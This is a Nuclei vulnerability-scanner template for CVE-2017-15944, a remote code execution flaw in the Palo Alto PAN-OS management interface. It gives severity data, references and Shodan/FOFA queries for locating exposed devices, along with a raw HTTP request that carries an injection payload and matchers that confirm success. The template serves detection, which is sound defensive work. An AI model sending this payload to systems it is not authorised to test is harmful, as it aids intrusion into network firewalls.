id: CVE-2017-15944

info:
  name: Palo Alto Network PAN-OS - Remote Code Execution
  author: emadshanab,milo2012
  severity: critical
  description: Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Palo Alto Networks.
  reference:
    - https://www.exploit-db.com/exploits/43342
    - https://security.paloaltonetworks.com/CVE-2017-15944
    - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15944
    - http://www.securitytracker.com/id/1040007
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-15944
    epss-score: 0.94021
    epss-percentile: 0.99901
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve2017,cve,kev,edb,rce,vpn,panos,globalprotect,paloaltonetworks,vkev,vuln

http:
  - raw:
      - |
        GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{randstr}};

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "@start@Success@end@"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022009ed0d2daec51f4f360a677a05a584d241fc87816135991bf400e0b70c57c234022100b3c602b4c6c1bb966efdfe94521d0e0b322bee0ab8d6e060db06e6cebc027739:922c64590222798bb761d5b6d8e72950